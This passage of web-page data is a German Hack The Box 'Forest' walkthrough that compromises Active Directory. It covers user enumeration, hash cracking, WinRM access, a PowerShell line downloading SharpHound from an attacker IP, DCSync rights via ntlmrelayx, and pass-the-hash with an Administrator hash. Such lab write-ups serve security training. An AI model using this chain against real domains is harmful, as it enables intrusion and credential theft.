HTB\\$D31000-NSEL5BRJ63V7",[32,1098,952],{},[32,1100,952],{},[32,1102,952],{},[32,1104,1105],{},"Group 'Domain Admins' (RID: 512) has member: HTB\\Administrator",[32,1107,952],{},[32,1109,952],{},[32,1111,1112],{},"Group 'Schema Admins' (RID: 518) has member: HTB\\Administrator",[32,1114,952],{},[32,1116,1117],{},"Group 'Managed Availability Servers' (RID: 1120) has member: HTB\\EXCH01$",[32,1119,1120],{},"Group 'Managed Availability Servers' (RID: 1120) has member: HTB\\Exchange Servers",[32,1122,952],{},[32,1124,952],{},[32,1126,1127],{},"Group 'Privileged IT Accounts' (RID: 1149) has member: HTB\\Service Accounts",[32,1129,952],{},[32,1131,1132],{},"Group 'Organization Management' (RID: 1104) has member: HTB\\Administrator",[32,1134,952],{},[32,1136,952],{},[32,1138,952],{},[32,1140,952],{},[32,1142,952],{},[32,1144,952],{},[32,1146,952],{},[32,1148,1149],{},"Group 'Domain Guests' (RID: 514) has member: HTB\\Guest",[32,1151,952],{},[32,1153,952],{},[32,1155,952],{},[32,1157,1158],{},"Group 'Domain Computers' (RID: 515) has member: HTB\\EXCH01$",[32,1160,952],{},[32,1162,1163],{},"Group 'Service Accounts' (RID: 1148) has member: HTB\\svc-alfresco",[32,1165,952],{},[32,1167,952],{},[32,1169,1170],{},"=====================================================================",[32,1172,1173],{},"|    Users on forest.htb via RID cycling (RIDS: 500-550,1000-1050)    |",[32,1175,1170],{},[32,1177,1178],{},"Use of uninitialized value $global_workgroup in concatenation (.) or string at .\u002Fenum4linux.pl line 710.",[32,1180,1181],{},"[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED.  RID cycling not possible.",[32,1183,1184],{},"Use of uninitialized value $global_workgroup in concatenation (.) or string at .\u002Fenum4linux.pl line 742.",[32,1186,1187],{},"===========================================",[32,1189,1190],{},"|    Getting printer info for forest.htb    |",[32,1192,1187],{},[32,1194,1195],{},"Use of uninitialized value $global_workgroup in concatenation (.) or string at .\u002Fenum4linux.pl line 991.",[32,1197,1198],{},"do_cmd: Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED",[32,1200,1201],{},"enum4linux complete on Fri Apr  5 19:22:04 2024",[32,1203,1204],{},"Zusätzlich kann man noch \"rpcclient\" verwenden.",[32,1206,1207],{},[35,1208],{"alt":37,"src":1209},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F872f0db7-50b6-45d1-9a90-ccd74c679e7e.webp",[32,1211,1212],{},"Mit dem Befehl \"enumdomusers\" können wir uns die User anzeigen lassen.",[32,1214,1215],{},[35,1216],{"alt":37,"src":1217},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002Ffed75951-2706-4dad-9b74-e77f26ecd52f.webp",[32,1219,1220],{},"Mit dem Befehl \"enumdomgroups\" können wir uns die Gruppen anzeigen lassen.",[32,1222,1223],{},[35,1224],{"alt":37,"src":1225},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F0881091e-085d-4181-95c2-f237ded0866f.webp",[32,1227,1228],{},"Mit dem Befehl \"querygroup\" können wir mit Hilfe der angezeigten \"rid\" weitere Infos abrufen:",[32,1230,1231],{},[35,1232],{"alt":37,"src":1233},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002Fd5424ab2-cf7c-4f9c-94e2-38ceebff8910.webp",[32,1235,1236],{},"Nun machen wir uns eine Liste die alle Usernames beinahltet:",[32,1238,1239],{},[35,1240],{"alt":37,"src":1241},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002Fecd08955-909f-4f03-ac89-8930dc13be6c.webp",[32,1243,1244],{},"Nun hätten wir gerne das Ticket von einem User, bzw. den Hash, damit wir versuchen könn das Kennwort zu knacken.",[32,1246,1247,1248,1252],{},"Hierfür benutz ich gerne das Tool \"impacket\". Das muss man meistens zusätzlich installieren. (",[63,1249,1250],{"href":1250,"rel":1251},"https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket",[67],")",[32,1254,1255],{},[35,1256],{"alt":37,"src":1257},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F46d4b3bd-7320-4fb1-acff-bab0b6573d80.webp",[32,1259,1260],{},"Da haben wir auch schon einen nicen Hash vom Account \"svc-alfresco\":",[32,1262,1263],{},[35,1264],{"alt":37,"src":1265},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F81a3ef16-b218-44cd-82a2-0673d969d995.webp",[32,1267,1268],{},"Der Hash wurde auch wie gewünscht in der \"hashfile.txt\" gesichert:",[32,1270,1271],{},[35,1272],{"alt":37,"src":1273},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002Fbdd9a3f2-3bde-4ca1-a8a0-d8436df58dd0.webp",[32,1275,1276],{},"Mit beispielsweise John oder Hashcat können wir nun versuchen das Kennwort zu knacken:",[32,1278,1279],{},[35,1280],{"alt":37,"src":1281},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F98f0df8d-0af8-4626-b19f-d081a34f8a0d.webp",[32,1283,1284],{},"Kennwort wurde erfolgreich geknackt. Es lautet \"s3rvice\".",[32,1286,1287],{},[35,1288],{"alt":37,"src":1289},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002Fff8a8922-21ef-42b2-bee3-650f5404565a.webp",[32,1291,1292],{},"Mit dem Tool \"evil-winrm\" checken wir jetzt mal ab was wir so machen können:",[32,1294,1295],{},[35,1296],{"alt":37,"src":1297},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F2d97ebbf-9b56-4e7f-ab2b-659cf6934e94.webp",[32,1299,1300],{},"Konnten uns entspannt authentifizieren.",[32,1302,1303],{},"Auf dem Desktop des Users habe ich bereits die Userflag, also die \"user.txt\" gefunden und mir anzeigen lassen. Flag: 4396ed4733712a031077ebcbb87116de",[32,1305,1306],{},[35,1307],{"alt":37,"src":1308},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002Fcbaa4482-ffa2-4afd-bbac-7d4e4fe50fba.webp",[32,1310,1311],{},"Flag ist korrekt.",[32,1313,1314],{},[35,1315],{"alt":37,"src":1316},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F3c215580-9a14-446c-b529-48f1a1dcda6b.webp",[32,1318,1319],{},"Nun nutze ich Bloodhound um mir noch mehr Infos zu holen.",[32,1321,1322],{},"Dazu benötigen wir die \"SharpHound.exe\" File aus dem Bloodhound Ordner.\\nBei Hackthebox flackt die normalerweise unter \"\u002Fopt\u002Fbloodhound\u002FBloodHound\u002Fresources\u002Fapp\u002FCollectors\u002FSharpHound.exe\"",[32,1324,1325],{},"Die kopieren wir nun in unser Home Directory.",[32,1327,1328],{},[35,1329],{"alt":37,"src":1330},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F2fd587fc-7758-428d-9c8a-e7c9e5699092.webp",[32,1332,1333],{},"Nun starten wir mit Hilfe von Python ein HTTP-Server in unserem Home Directory:",[32,1335,1336],{},[35,1337],{"alt":37,"src":1338},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F4ec70e09-1214-4255-9b60-f8b4dbaa4eeb.webp",[32,1340,1341],{},"Über unsere WinRM Shell laden wir nun auf dem Zielserver die Datei herunter:",[32,1343,1344,1345,1349],{},"Command: (new-object System.Net.WebClient).DownloadFile('",[63,1346,1347],{"href":1347,"rel":1348},"http:\u002F\u002F10.10.14.71:8000\u002FSharpHound.exe",[67],"', 'C:\\Users\\svc-alfresco\\Desktop\\SharpHound.exe')",[32,1351,1352],{},"Beim Webserver sieht man dann auch das es erfolgreich heruntergeladen wurde:",[32,1354,1355],{},[35,1356],{"alt":37,"src":1357},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F047d1aff-0a4d-481c-a9ef-431ccf550a5a.webp",[32,1359,1360],{},"Da ist die Datei:",[32,1362,1363],{},[35,1364],{"alt":37,"src":1365},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002Fd913075a-b826-4cbb-be6d-51ea68c8dff3.webp",[32,1367,1368],{},"Dann führen wir SharpHound aus. Das kann ein wenig dauern.",[32,1370,1371],{},[35,1372],{"alt":37,"src":1373},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002Fec0d7243-994d-4568-b9e6-4128def577e9.webp",[32,1375,1376],{},"Wenn die Meldung kommt ists fertig:",[32,1378,1379],{},[35,1380],{"alt":37,"src":1381},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002Fcf668c2e-1d07-4863-bcb0-63be42940593.webp",[32,1383,1384],{},"BloodHound generiert uns eine ZIP-File:",[32,1386,1387],{},[35,1388],{"alt":37,"src":1389},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F7b637321-1e97-43fa-a811-0f69335c1ee7.webp",[32,1391,1392],{},"Nun benutzen wir wieder fix das Tool Impacket, um uns einen kleinen SMB-Server aufzuziehen. Schließlich brauchen wir die ZIP-File vom Windows Host.",[32,1394,1395],{},[35,1396],{"alt":37,"src":1397},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002Fb55f6e3f-5d0d-4c45-9b5e-d7c2d18803ea.webp",[32,1399,1400],{},"Wir kopieren uns die ZIP-File rüber:",[32,1402,1403],{},[35,1404],{"alt":37,"src":1405},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002Fc1d69ff4-40ea-4f73-b039-4a3f81ca9178.webp",[32,1407,1408],{},"Beim SMB-Server sehen wir die erfolgreiche Übertragung:",[32,1410,1411],{},[35,1412],{"alt":37,"src":1413},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F53918523-8bbd-4754-852f-bea502bb7c8d.webp",[32,1415,1416],{},"Datei wurde rüberkopiert. Perfekt. (bh.zip)",[32,1418,1419],{},[35,1420],{"alt":37,"src":1421},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F1f9c03a9-421f-4ad8-8d98-91eb1d42e185.webp",[32,1423,1424],{},"Für BloodHound brauchen wir eine Database - genauer gesagt eine neo4j Database. Die erstellen wir nun:",[32,1426,1427],{},[35,1428],{"alt":37,"src":1429},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F92978182-e25e-4c1e-8bab-ec5b5fc7aebd.webp",[32,1431,1432],{},"Nun starten wir Bloodhound von einem non-privileged Terminal:",[32,1434,1435],{},[35,1436],{"alt":37,"src":1437},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002Fc49fa91d-af4e-4b2b-940e-e85ea89b3f02.webp",[32,1439,1440],{},"Default login ist neo4j\u002Fneo4j:",[32,1442,1443],{},[35,1444],{"alt":37,"src":1445},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F01a0900d-a13f-460a-a911-6271ad550d43.webp",[32,1447,1448],{},"Rechts \"Upload Data\" auswählen:",[32,1450,1451],{},[35,1452],{"alt":37,"src":1453},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F8d92cc38-ad6b-4c6d-89df-79ca8ce69695.webp",[32,1455,1456],{},"Unsere ZIP-File auswählen:",[32,1458,1459],{},[35,1460],{"alt":37,"src":1461},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002Fc6c4c2ef-cd73-4711-8cb5-907c0e666f48.webp",[32,1463,1464],{},"Dann erstmal chillen:",[32,1466,1467],{},[35,1468],{"alt":37,"src":1469},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F90789430-a8e8-4677-81fc-f766cfc69633.webp",[32,1471,1472],{},"Oben links aufs Burgermenü klicken und auf \"Analysis\" klicken:",[32,1474,1475],{},[35,1476],{"alt":37,"src":1477},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F5a398654-09ec-43cd-b153-a3798cc0a484.webp",[32,1479,1480],{},"Links wähle ich z. B. mal unter \"Shortest Paths\" den Punkt \"Shortest Paths to High Value Targets\" aus. Wir bekommen dann die Domäne, bzw. den Pfad visualisiert:",[32,1482,1483],{},[35,1484],{"alt":37,"src":1485},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002Fb4c1b26d-8dcc-4292-8ce4-a7a1d298f966.webp",[32,1487,1488],{},"Dann können wir z. B. mal auf den \"svc-alfresco\" User klicken:",[32,1490,1491],{},[35,1492],{"alt":37,"src":1493},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F77ae514a-420b-44a6-a4a9-ec57e8e26459.webp",[32,1495,1496],{},"Über unsere WinRM-Session können wir uns dann theoretisch auch so Infos holen, z. B. so:",[32,1498,1499],{},[35,1500],{"alt":37,"src":1501},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F0855c5b8-8a87-40dd-8b7e-7f8c5e4625da.webp",[32,1503,1504],{},"Hier sehen wir dann z. B. auch das er ein Mitglied der Gruppe \"Service Accounts\" ist:",[32,1506,1507],{},[35,1508],{"alt":37,"src":1509},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F01842c91-0896-43da-b9db-43dd233d402c.webp",[32,1511,1512],{},"In BloodHound sehen wir das aber auch:",[32,1514,1515],{},[35,1516],{"alt":37,"src":1517},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002Fc30dda20-b02c-4c7d-b29c-024bf79c42f3.webp",[32,1519,1520],{},"Wir sehen das der User \"Exchange Windows Permissions\" hat. Die Gruppe hat sogenannte \"WriteDACL\" (Discretionary Access Control List) Permissions über die HTB.LOCAL Domain. Bedeutet an sich auch full Control.",[32,1522,1523],{},"Wir erstellen uns nun einen neuen User:",[32,1525,1526],{},[35,1527],{"alt":37,"src":1528},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F4a28e95d-f2dc-418d-a0ca-482b3d6ff82b.webp",[32,1530,1531],{},"Wir fügen nun den User \"snerz\" der Gruppe \"Exchange Windows Permissions\" hinzu:",[32,1533,1534],{},[35,1535],{"alt":37,"src":1536},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F81155d14-7c0b-43e2-bf3c-7f09eeab752b.webp",[32,1538,1539],{},"Kurz überprüfen ob alles passt:",[32,1541,1542],{},[35,1543],{"alt":37,"src":1544},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F3ded5516-2457-4bb0-a017-117aae8cc391.webp",[32,1546,1547],{},[35,1548],{"alt":37,"src":1549},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F8d9a429e-43bc-4322-a09f-09947f9384c8.webp",[32,1551,1552],{},"Wir wollen nun die Hashes vom DC dumpen.\\n",[32,1554,1555],{},"Download erfolgreich:",[32,1557,1558],{},"Nun benutzen wir ntlmrelayx um uns die Berechtigungen \"DCSync\" zu geben. Mit diesen Berechtigungen können wir uns anschließend alle Rechte geben.",[32,1560,1561],{},[35,1562],{"alt":37,"src":1563},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F61b05080-bdd1-4e45-9ffd-af5d6b98fee1.webp",[32,1565,1566],{},"Credentials zur Website sind unsere Windows Credentials von dem erstellten User.",[32,1568,1569],{},[35,1570],{"alt":37,"src":1571},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F81719f84-19fe-4fcb-9a20-8b8ade190ed2.webp",[32,1573,1574],{},"Rechte erfolgreich erhalten:",[32,1576,1577],{},[35,1578],{"alt":37,"src":1579},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F2bb29ff9-3e6f-4232-bc72-c8d04decef0d.webp",[32,1581,1582],{},"Beziehen aller Hashes aus der DB:",[32,1584,1585],{},[35,1586],{"alt":37,"src":1587},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002Fbdb97c8b-53bc-4f2c-a31a-6c8a08bb54ac.webp",[32,1589,1590],{},"Mal schauen ob ein Pass-the-Hash Angriff funktioniert:",[32,1592,1593],{},"User: Admin\\nHash: 32693b11e6aa90eb43d32c72a07ceea6",[32,1595,1596],{},[35,1597],{"alt":37,"src":1598},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F09ae2038-8b29-4f60-a1c1-c064ad61c976.webp",[32,1600,1601],{},"Wir sind drin. Auf dem Desktop vom Administrator liegt die Flag \"root.txt\".",[32,1603,1604],{},"Root Flag passt. :)",[32,1606,1607],{},[35,1608],{"alt":37,"src":1609},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002Fdcf7dfa0-5584-4be3-9938-144c72df149e.webp",{"title":37,"searchDepth":1611,"depth":1611,"links":1612},3,[1613,1615],{"id":29,"depth":1614,"text":30},2,{"id":49,"depth":1614,"text":50},"hack-the-box","2024-05-20","Walkthrough zur \"Forest\" Hack the Box Challenge",false,"md","\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fcover.webp",{},true,"\u002Fposts\u002Fhack-the-box-forest",16,{"title":5,"description":1618},"posts\u002Fhack-the-box-forest","1",[1630,1631,1632],"writeup","windows","active-directory","qP-9C-uNxaYbgvWcM7h13i-NHa2VNcEh1Aecgbl_oJI",[1635,1648,1659,1670,1678,1685,1694,1702,1708,1716,1723,1733,1740,1748,1755,1761,1768,1774,1780,1788,1800,1807,1813,1819,1826,1832,1838,1845,1851,1857,1863,1869,1876,1882,1888,1896,1898,1905],{"path":1636,"title":1637,"description":1638,"date":1639,"category":1640,"alsoIn":1641,"series":6,"tags":1642,"readingTime":1647},"\u002Fposts\u002Fbarista","Barista: One Exe to Install Doppio and Ristretto","The 2FA series ends with two LSA components, an unsigned DLL in lsass and a dozen steps that have to happen in the right order. Barista is a wizard that does them one reboot at a time, from a single exe with every binary embedded and hash-checked.","2026-10-16","tools",[1631],[1631,1643,1644,1645,1646],"lsa","2fa","credential-provider","security",9,{"path":1649,"title":1650,"description":1651,"date":1652,"category":1631,"alsoIn":1653,"series":1654,"tags":1655,"readingTime":1658},"\u002Fposts\u002Fwindows-2fa-gating-network-logons","Build Your Own 2FA for the Windows Logon, Part 3: Gating Network Logons","Part 2 refuses every network logon for an enrolled account, which makes the account safe and useless. Part 3 adds a gate you open once with a one-time code, so SMB, RPC and WinRM work again for a short window. In C++, with the full source.","2026-10-11",[1640],"Doppio · 3-part series",[1631,1643,1656,1657,1644,1646],"ntlm","smb",35,{"path":1660,"title":1661,"description":1662,"date":1663,"category":1640,"alsoIn":6,"series":6,"tags":1664,"readingTime":1669},"\u002Fposts\u002Fadhardenkit","ADHardenKit: Hardening AD Without Breaking It","LDAP signing, SMB signing, NTLM, Kerberos with AES only. Every hardening checklist has them. I wrote a tool that turns them on in an order that doesn't break the domain.","2026-10-07",[1632,1665,1666,1667,1656,1668],"windows-server","powershell","hardening","kerberos",5,{"path":1671,"title":1672,"description":1673,"date":1674,"category":1640,"alsoIn":6,"series":6,"tags":1675,"readingTime":1677},"\u002Fposts\u002Fntlm-analyzer","NTLM-Analyzer: Find Out Who Still Uses NTLM","Windows logs a lot of NTLM activity, but you have to piece it together yourself. I built a tool that shows which users and programs still use NTLMv1 or NTLMv2, and what already runs over Kerberos.","2026-10-03",[1632,1656,1668,1676,1665],"auditing",6,{"path":1679,"title":1680,"description":1681,"date":1682,"category":1631,"alsoIn":6,"series":1654,"tags":1683,"readingTime":1684},"\u002Fposts\u002Fwindows-2fa-inside-lsa","Build Your Own 2FA for the Windows Logon, Part 2: Inside LSA","The credential provider from Part 1 only sees the logon screen. Part 2 goes into LSA to close the paths it can't reach, with an authentication package and an MSV1_0 sub-authentication filter in C++.","2026-10-01",[1631,1645,1643,1644,1646],32,{"path":1686,"title":1687,"description":1688,"date":1689,"category":1631,"alsoIn":1690,"series":1654,"tags":1691,"readingTime":1693},"\u002Fposts\u002Fwindows-2fa-credential-provider","Build Your Own 2FA for the Windows Logon","How a Credential Provider works and how to build a working TOTP 2FA for local Windows accounts in C++. With rate limiting, replay protection and logging.","2026-09-30",[1640],[1631,1645,1644,1692,1646],"totp",60,{"path":1695,"title":1696,"description":1697,"date":1698,"category":1640,"alsoIn":6,"series":6,"tags":1699,"readingTime":1611},"\u002Fposts\u002Fadtierkit-active-directory-tiering","ADTierKit: Automatic AD-Tiering","I got tired of building tier models by hand, so I wrote a tool for it. One PowerShell script, one JSON file.","2026-08-06",[1632,1665,1666,1700,1701],"tiering","laps",{"path":1703,"title":1704,"description":1705,"date":1698,"category":1632,"alsoIn":6,"series":6,"tags":1706,"readingTime":1707},"\u002Fposts\u002Fldap-ldaps-and-active-directory","The thing with LDAP, LDAPS and Active Directory","Why LDAPS rarely fixes what security reports worry about, why you can't just block port 389, and what actually protects LDAP in Active Directory.",[],11,{"path":1709,"title":1710,"description":1711,"date":1712,"category":1713,"alsoIn":6,"series":6,"tags":1714,"readingTime":1611},"\u002Fposts\u002Finstall-tor-exit-node","Install Tor Exit Node","How to run a Tor exit node on an anonymously rented VPS: paying with Monero, picking the provider and the country, and installing and configuring Tor.","2025-09-30","linux",[1715],"tor",{"path":1717,"title":1718,"description":1719,"date":1720,"category":1632,"alsoIn":6,"series":6,"tags":1721,"readingTime":1722},"\u002Fposts\u002Fconfigure-kerberos-armoring","Configure Kerberos Armoring","Kerberos Armoring (FAST) protects the Kerberos exchange against offline brute force, replay and tampering. How to enable it in your domain with a GPO.","2025-07-28",[1668],1,{"path":1724,"title":1725,"description":1726,"date":1727,"category":1728,"alsoIn":6,"series":6,"tags":1729,"readingTime":1732},"\u002Fposts\u002Fexchange-2019-install","Installation guide for Exchange SE and Exchange 2019","Install Exchange Server Subscription Edition (SE) or Exchange Server 2019 step by step and harden it, with WAF rules on the Sophos XG, SPF, DMARC, DKIM and more. The installation is the same for both versions.","2025-06-26","exchange",[1728,1730,1731],"exchange-se","exchange-2019",47,{"path":1734,"title":1735,"description":1736,"date":1737,"category":1632,"alsoIn":6,"series":6,"tags":1738,"readingTime":1647},"\u002Fposts\u002Fhow-ntlm-works-active-directory","How NTLM works in Active Directory","How NTLM proves that you know a password without sending it, what the domain controller does, the difference between NTLMv1 and NTLMv2, and why Microsoft is phasing it out.","2025-05-07",[1656,1632,1739],"authentication",{"path":1741,"title":1742,"description":1743,"date":1744,"category":1632,"alsoIn":6,"series":6,"tags":1745,"readingTime":1747},"\u002Fposts\u002Fadfs-installation","ADFS Installation","Basic installation guide for Active Directory Federation Services","2025-01-27",[1746],"adfs",4,{"path":1749,"title":1750,"description":1751,"date":1752,"category":1632,"alsoIn":6,"series":6,"tags":1753,"readingTime":1611},"\u002Fposts\u002Fexample-pass-the-hash-attack","Pass the Hash Attack Example","Example of a pass the hash attack","2025-01-22",[1754],"pass-the-hash",{"path":1756,"title":1757,"description":1758,"date":1759,"category":1632,"alsoIn":6,"series":6,"tags":1760,"readingTime":1677},"\u002Fposts\u002Fhow-kerberos-works-active-directory","How Kerberos works in Active Directory","How Kerberos works in Active Directory, step by step: the TGT, the service ticket and the request to the service, and why no password crosses the network.","2025-01-16",[1668],{"path":1762,"title":1763,"description":1764,"date":1765,"category":1631,"alsoIn":6,"series":6,"tags":1766,"readingTime":1611},"\u002Fposts\u002Fconfigure-credential-guard-computer-accounts","Configure Credential Guard for Computer Accounts","Windows Server 2025 can move computer account passwords into Credential Guard. How to enable it by GPO, and why turning it off means a new domain join.","2025-01-15",[1767],"credential-guard",{"path":1769,"title":1770,"description":1771,"date":1772,"category":1631,"alsoIn":6,"series":6,"tags":1773,"readingTime":1747},"\u002Fposts\u002Fconfigure-credential-guard-windows","Configure Credential Guard","How Credential Guard shields NTLM hashes and Kerberos tickets, how to enable it by GPO on older clients and servers, and how to check that it runs.","2025-01-13",[1767],{"path":1775,"title":1776,"description":1777,"date":1772,"category":1631,"alsoIn":6,"series":6,"tags":1778,"readingTime":1611},"\u002Fposts\u002Fosconfig-windows-server-2025-security","OSConfig - Security Settings for Windows Server 2025","OSConfig applies Microsoft's recommended security settings on Windows Server 2025 without GPOs. Install the module, list templates, enable a baseline.",[1779],"osconfig",{"path":1781,"title":1782,"description":1783,"date":1784,"category":1631,"alsoIn":6,"series":6,"tags":1785,"readingTime":1611},"\u002Fposts\u002Fsecure-iis-modsecurity","Secure IIS with Modsecurity","Installation guide to secure IIS with Modsecurity","2025-01-12",[1786,1787],"iis","modsecurity",{"path":1789,"title":1790,"description":1791,"date":1792,"category":1632,"alsoIn":6,"series":6,"tags":1793,"readingTime":1799},"\u002Fposts\u002Fvcsa-certificate-windows-pki","Issue VCSA Certificate with Windows PKI","Replace the self-signed vCenter (VCSA) certificate with a SubCA certificate from your Windows PKI, using the VCSA Certificate Manager and WinSCP.","2025-01-09",[1794,1795,1796,1797,1798],"ad-cs","pki","vmware","vcsa","vcenter",10,{"path":1801,"title":1802,"description":1803,"date":1804,"category":1632,"alsoIn":6,"series":6,"tags":1805,"readingTime":1806},"\u002Fposts\u002Fwindows-pki-installation","Installation guide for a Windows PKI","Step-by-step guide for a two-tier Windows PKI with root CA, sub CA and a separate CRL server, plus certificate templates, OCSP and web enrollment.","2024-12-20",[1794,1795],36,{"path":1808,"title":1809,"description":1810,"date":1811,"category":1616,"alsoIn":6,"series":6,"tags":1812,"readingTime":1799},"\u002Fposts\u002Fhack-the-box-administrator","Hack The Box: Administrator","Walkthrough for the \"Administrator\" Hack the Box Challenge","2024-11-19",[1630,1631,1632],{"path":1814,"title":1815,"description":1816,"date":1817,"category":1632,"alsoIn":6,"series":6,"tags":1818,"readingTime":1614},"\u002Fposts\u002Fsecure-active-directory-part-1","Secure Active Directory - Part 1","Part 1 of the guide to a secure Active Directory","2024-09-09",[],{"path":1820,"title":1821,"description":1822,"date":1823,"category":1616,"alsoIn":6,"series":6,"tags":1824,"readingTime":1825},"\u002Fposts\u002Fhack-the-box-greenhorn","Hack The Box: Greenhorn","Walkthrough for the \"Greenhorn\" Hack the Box Challenge","2024-07-24",[1630,1713],12,{"path":1827,"title":1828,"description":1829,"date":1830,"category":1616,"alsoIn":6,"series":6,"tags":1831,"readingTime":1647},"\u002Fposts\u002Fhack-the-box-runner","Hack The Box: Runner","Walkthrough for the \"Runner\" Hack the Box Challenge","2024-07-20",[1630,1713],{"path":1833,"title":1834,"description":1835,"date":1836,"category":1616,"alsoIn":6,"series":6,"tags":1837,"readingTime":1722},"\u002Fposts\u002Fhack-the-box-ghost","Hack The Box: Ghost","Walkthrough for the \"Ghost\" Hack the Box Challenge","2024-07-18",[1630,1631,1632],{"path":1839,"title":1840,"description":1841,"date":1842,"category":1616,"alsoIn":6,"series":6,"tags":1843,"readingTime":1844},"\u002Fposts\u002Fhack-the-box-knife","Hack The Box: Knife","Walkthrough for the \"Knife\" Hack the Box Challenge","2024-07-15",[1630,1713],7,{"path":1846,"title":1847,"description":1848,"date":1849,"category":1616,"alsoIn":6,"series":6,"tags":1850,"readingTime":1611},"\u002Fposts\u002Fhack-the-box-broker","Hack The Box: Broker","Walkthrough for the \"Broker\" Hack the Box Challenge","2024-07-10",[1630,1713],{"path":1852,"title":1853,"description":1854,"date":1855,"category":1616,"alsoIn":6,"series":6,"tags":1856,"readingTime":1722},"\u002Fposts\u002Fhack-the-box-permx","Hack The Box: PermX","Walkthrough zur \"PermX\" Hack the Box Challenge","2024-07-08",[1630,1713],{"path":1858,"title":1859,"description":1860,"date":1861,"category":1616,"alsoIn":6,"series":6,"tags":1862,"readingTime":1611},"\u002Fposts\u002Fhack-the-box-lame","Hack The Box: Lame","Walkthrough zur \"Lame\" Hack the Box Challenge","2024-07-06",[1630,1713],{"path":1864,"title":1865,"description":1866,"date":1867,"category":1616,"alsoIn":6,"series":6,"tags":1868,"readingTime":1747},"\u002Fposts\u002Fhack-the-box-analytics","Hack The Box: Analytics","Walkthrough zur \"Analytics\" Hack the Box Challenge","2024-06-30",[1630,1713],{"path":1870,"title":1871,"description":1872,"date":1873,"category":1616,"alsoIn":6,"series":6,"tags":1874,"readingTime":1669},"\u002Fposts\u002Fhack-the-box-sense","Hack The Box: Sense","Walkthrough zur \"Sense\" Hack the Box Challenge","2024-06-28",[1630,1875],"freebsd",{"path":1877,"title":1878,"description":1879,"date":1880,"category":1616,"alsoIn":6,"series":6,"tags":1881,"readingTime":1707},"\u002Fposts\u002Fhack-the-box-mailing","Hack The Box: Mailing","Walkthrough zur \"Mailing\" Hack the Box Challenge","2024-06-26",[1630,1631],{"path":1883,"title":1884,"description":1885,"date":1886,"category":1616,"alsoIn":6,"series":6,"tags":1887,"readingTime":1611},"\u002Fposts\u002Fhack-the-box-jerry","Hack The Box: Jerry","Walkthrough zur \"Jerry\" Hack the Box Challenge","2024-06-20",[1630,1631],{"path":1889,"title":1890,"description":1891,"date":1892,"category":1713,"alsoIn":6,"series":6,"tags":1893,"readingTime":1722},"\u002Fposts\u002Flinux-ssh-telegram-notifications","Setting up notifications via Telegram for SSH login\u002Flogoff","Get a Telegram message every time someone logs in to or out of your Linux server over SSH, with a Telegram bot, a small script and 